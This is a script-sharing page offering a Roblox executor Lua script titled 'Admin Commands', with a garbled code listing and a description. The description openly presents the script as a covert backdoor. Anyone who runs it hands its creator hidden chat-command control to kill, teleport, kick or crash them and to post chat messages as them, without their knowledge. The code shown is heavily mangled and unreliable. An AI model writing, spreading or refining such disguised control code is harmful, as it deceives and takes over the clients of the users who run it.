KeylessUniversal
Admin Commands READ DESC
Aabbaaii13 9 months ago 1.9K views 3Run it
Copy the script and paste it into your executor.
Admin Commands READ DESC.lua · 10 lines
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a={[]=,[]=,[]=,[]=}
n={[]=,[]=,[]=,[]=,[]=,[]=,[]=}
.(()
s1={,,,,,,,,,,,,,,,,,,,,,,,,,,}
g1=; g2=g1:(s1[]); g3=g1:(s1[]); g4=g1:(s1[]); g5=g1:(s1[]); lp=g2.LocalPlayer; h1={} (p1)
n1=p1.Name:() io=o[p1.Name] o[n1] ia=a[p1.Name] a[n1](io ia) h1[p1] h1[p1]=; t=io p1.DisplayName..n.t1 n.t2; tx=io n.d1 p1.DisplayName..g3:(s1[],{Title=t,Text=tx,Duration=n.d2})p1.Chatted:((m1)
m2=m1:() m2:(,)==s1[] m2=m2:(); pfx=m2:(,) pfx~= pfx~= ; sp1=m2:(s1[]) c1=sp1[]:(,) c1 ; r1=m2:(#c1+) d1=r1:(s1[]) t1=(d1[]):(s1[],) un=lp.Name:() lo=o[lp.Name] o[un] la=a[lp.Name] a[un] ic=; c1==s1[] ic= t1==s1[](t1~= un:(t1)) io lo p1==lp ic= ia lo la p1==lp ic= ; ic
c1==s1[] lp:(d1[] s1[]) c1==s1[] g3:(s1[],{Title=n.t3,Text=d1[] s1[],Duration=n.d3}) c1==s1[] lp.Character lp.Character:(s1[]) lp.Character:(s1[]).Health= ; c1==s1[] lp.Character lp.Character:(s1[]) i=,,- g3:(s1[],{Title=,Text=..i,Duration=}).() ; c1==s1[] p1.Character p1.Character:(s1[]) lp.Character lp.Character:(s1[]) lp.Character:(s1[]).CFrame=p1.Character:(s1[]).CFrame ; c1==s1[]:(,) tba=g4:(s1[]) tba nd=tba.TopBarApp.UnibarLeftFrame.UnibarMenu[s1[]][s1[]]:(s1[]) mih=tba.TopBarApp.MenuIconHolder; nd nd:(); mih mih:() ; c1==s1[] g3:(s1[],{Title=n.t4,Text=s1[],Duration=}) c1==s1[] msg= i=,#d1 d1[i]~= msg=d1[i]:() ; msg~= g5.ChatVersion==.ChatVersion.TextChatService g5.TextChannels.RBXGeneral:(msg) :().DefaultChatSystemChatEvents.SayMessageRequest:(msg,) ) ;g2.PlayerRemoving:((p2)h1[p2]= ) _,v (g2:()) (v);g2.PlayerAdded:(f1))
About this script
i cant explain really lot, soo the whole description is ai generated :( --- The script's primary function is to give script creators a way to manage users running their code. It basically gives you back-end control over a user's client, meaning they have to follow whatever rules you set while using your script. Think of it as a control panel for script owners who want to keep things in line. If someone's not using your script as intended, or if you simply want to show who's in charge, you can use built-in commands to remove them from the game, kick them out, or even crash their client instantly. The best part? These commands are hidden chat commands, so users won't even know how you're doing it. --- Here’s a simple breakdown of how to get it working: First, the user needs to run your script in their executor. Once it's running, the script automatically scans the server for your name. As soon as you or one of your designated admins join, the script will link itself to you. From there, you just type commands into the chat to tell the user what to do. For example, you can publicly announce :Kill All to affect everyone, or you can use /e :Kill All for a silent command that only you
